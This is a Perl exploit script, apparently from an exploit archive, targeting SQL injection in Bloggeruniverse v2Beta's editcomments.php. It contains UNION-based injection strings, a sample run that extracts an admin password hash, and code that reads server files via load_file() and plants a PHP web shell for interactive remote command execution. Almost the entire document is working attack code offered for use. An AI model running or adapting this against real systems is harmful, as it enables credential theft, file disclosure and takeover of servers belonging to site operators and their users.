================================================================== Bloggeruniverse v2Beta (editcomments.php id) SQL Injection Exploit ================================================================== #!/usr/bin/perl # |----------------------------------------------------------------------------------------------------------------------------------| # | INFORMATIONS | # |----------------------------------------------------------------------------------------------------------------------------------| # |Web Application : Bloggeruniverse v2Beta | # |Download : http://garr.dl.sourceforge.net/sourceforge/bloggeruniverse/bloggeruniverse-beta2.zip | # |----------------------------------------------------------------------------------------------------------------------------------| # |Remote Exploit (Admin credentials extract + File Disclosure + Remote Command Execution via Sql Injection) | # |by Osirys | | # |----------------------------------------------------------------------------------------------------------------------------------| # |BUG [Sql Injection] # | p0c : /[path]/editcomments.php?id=[sql_string] # | There are other sql injections, find them by yourself ;) # |[!] This Blog system doesn't cheek if install.php file still exists after installation ! ;) # |SQL Injections used by this sploit : # |[1] /path]/editcomments.php?id=-2 union all select 1,2,3,4,5,6,concat(username,0x3a,password),8 from users # |[2] /path]/editcomments.php?id=-2 union all select 1,2,3,4,5,6,load_file('lf'),8 # |[3] /path]/editcomments.php?id=-2 union all select 1,2,3,4,5,6,'content',8 into dumpfile 'path' # |----------------------------------------------------------------------------------------------------------------------------------| # |This CMS is vulnerable to sql injection. This simple exploit just uses the sql bug to get admin credentials (username,password), # |uses load_file() mysql function to disclosure local file on the server, uses the '' into dumpfile '' mysql function to save a # |php shell on the website, so it will allows you to execute commands. # |The RCE way is more difficult, becouse you need to know the site's path on the server, dumpfile function needs it ! # |I'm trying to find an universal way to find the cwd of the site in the server from sql injection, still nothing. Would be good a # |LFI bug, so then we could write our file into /tmp, and then include it via LFI. # |----------------------------------------------------------------------------------------------------------------------------------| # Pastin' here output of all exploiting way of this sploit will be too long, here the first way : Admin credentials extract # -----------------------------------------------------------------------------------------------------------------------------------| # Exploit in action [>!] # -----------------------------------------------------------------------------------------------------------------------------------| # osirys[~]>$ perl p0w.txt http://localhost/bloggeruniverse-beta2/ admin_hash # # -------------------------------------- # Bloggeruniverse Remote Exploit # Coded by Osirys # ------------------------------------- # # [*] Extracting admin credentials via Sql Injection .. # [*] Username: admin # [*] Password: 5f4dcc3b5aa765d61d8327deb882cf99 # # osirys[~]> # -----------------------------------------------------------------------------------------------------------------------------------| use LWP::UserAgent; use HTTP::Request::Common; my $host = $ARGV[0]; my $expl = $ARGV[1]; my $fpath = $ARGV[2]; my $sql_inj_path = "/editcomments.php?id="; my $gen_sql_inj = "-2 union all select 1,2,3,4,5,6,"; my $php_c0de = ""; $fpath = "/x" if ($expl =~ /file_disc/); $fpath = "/x" if ($expl =~ /admin_hash/); ($host,$expl,$fpath) || help("-1"); cheek($host,$expl,$fpath) == 1 || help("-2"); &banner; $datas = get_input($host); $datas =~ /(.*) (.*)/; ($h0st,$path) = ($1,$2); &adm_hash if $expl_way == 1; &file_discl if $expl_way == 2; &cmd if $expl_way == 3; sub adm_hash { print "[*] Extracting admin credentials via Sql Injection ..\n"; my $sql_inj = $sql_inj_path.$gen_sql_inj."concat(username,0x3a,password),8 from users"; my $attack = $host.$sql_inj; my $re = get_req($attack); my $content = tag($re); if ($content =~ /name="comment">([a-zA-Z0-9-_.]{2,15}):([a-f0-9]{32})<\/textarea>/) { print "[*] Username: $1\n"; print "[*] Password: $2\n\n"; exit(0); } else { print "[-] Can't extract admin credentials\n[-] Exploit Failed !\n\n"; exit(0); } } sub file_discl { print "[*] cat "; my $file = ; chomp($file); $file !~ /exit/ || die "[-] Quitting ..\n"; if ($file !~ /\/(.*)/) { print "\n[-] Bad filename !\n"; &file_discl; } my $sql_inj = $sql_inj_path.$gen_sql_inj."load_file(\"".$file."\"),8"; my $attack = $host.$sql_inj; my $re = get_req($attack); my $content = tag($re); if ($content =~ /name="comment">(.+)<\/textarea>\*\*\*\*\*\*<\/td>/) { my $out = $1; $out =~ s/\$/ /g; $out =~ s/\*/\n/g; $out =~ s/$out/$out\n/ if ($out !~ /\n$/); print "$out\n"; &file_discl; } elsif ($content =~ /name="comment"><\/textarea>\*\*\*\*\*\*<\/td>/) { $c++; print "[-] Can't find ".$file." \n"; $c < 3 || die "[-] File Disclosure failed !\n[-] Something wrong. Exploit Failed !\n\n"; &file_discl; } } sub cmd { print "[*] Injectin php shell via Sql Injection\n"; my $sql_inj = $sql_inj_path.$gen_sql_inj."'".$php_c0de."',8 into dumpfile '".$fpath."/shell.php'"; my $attack = $host.$sql_inj; get_req($attack); my $test = get_req($host."shell.php"); if ($test =~ /st4rt/) { print "[*] Shell succesfully injected !\n"; print "[&] Hi my master, do your job now [!]\n\n"; $exec_path = $host."/shell.php"; &exec_cmd; } else { print "[-] Shell not found \n[-] Exploit failed\n\n"; exit(0); } } sub exec_cmd() { $h0st !~ /www\./ || $h0st =~ s/www\.//; print "shell[$h0st]\$> "; my $cmd = ; $cmd !~ /exit/ || die "[-] Quitting ..\n"; my $exec_url = $exec_path."?cmd=".$cmd; my $re = get_req($exec_url); my $content = tag($re); if ($content =~ /st4rt(.+)8/) { my $out = $1; $out =~ s/\$/ /g; $out =~ s/\*/\n/g; $out =~ s/8//g; chomp($out); print "$out\n"; &exec_cmd; } else { $c++; $cmd =~ s/\n//; print "bash: ".$cmd.": command not found\n"; $c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n"; &exec_cmd; } } sub get_req() { $link = $_[0]; my $req = HTTP::Request->new(GET => $link); my $ua = LWP::UserAgent->new(); $ua->timeout(4); my $response = $ua->request($req); return $response->content; } sub get_input() { my $host = $_[0]; $host =~ /http:\/\/(.*)/; $s_host = $1; $s_host =~ /([a-z.-]{1,30})\/(.*)/; ($h0st,$path) = ($1,$2); $path =~ s/(.*)/\/$1/; $full_det = $h0st." ".$path; return $full_det; } sub tag() { my $string = $_[0]; $string =~ s/ /\$/g; $string =~ s/\s/\*/g; return($string); } sub cheek() { my $host = $_[0]; my $expl = $_[1]; my $fpath = $_[2]; if ($host =~ /http:\/\/(.*)/) { $ch_host = 1; } if ($expl =~ /admin_hash/) { $ch_expl = 1; $ch_fpath = 1; $expl_way = 1; } elsif ($expl =~ /file_disc/) { $ch_expl = 1; $ch_fpath = 1; $expl_way = 2; } elsif ($expl =~ /cmd/) { $ch_expl = 1; $expl_way = 3; } if ($fpath =~ /\/(.*)/) { $ch_fpath = 1; } return 1 if ((($ch_host)&&($ch_expl)&&($ch_fpath)) == 1); &help("-2"); } sub banner { print "\n". " --------------------------------------\n". " Bloggeruniverse Remote Exploit \n". " Coded by Osirys \n". " ------------------------------------- \n\n"; } sub help() { my $error = $_[0]; if ($error == -1) { &banner; print "\n[-] Input Error, missed some arguments !\n\n"; } elsif ($error == -2) { &banner; print "\n[-] Bad arguments !\n\n"; } print "[*] Usage : perl $0 http://hostname/cms_path admin_hash\n"; print " Ex: perl $0 http://site.it/cms/ admin_hash\n"; print "[*] Usage : perl $0 http://hostname/cms_path file_disc\n"; print " Ex: perl $0 http://site.it/cms/ file_disc\n"; print "[*] Usage : perl $0 http://hostname/cms_path cmd path_of_site\n"; print " Ex: perl $0 http://site.it/cms/ cmd /home/osirys/web/cms/\n\n"; exit(0); } # 0day.today [2018-04-11] #

Query Builder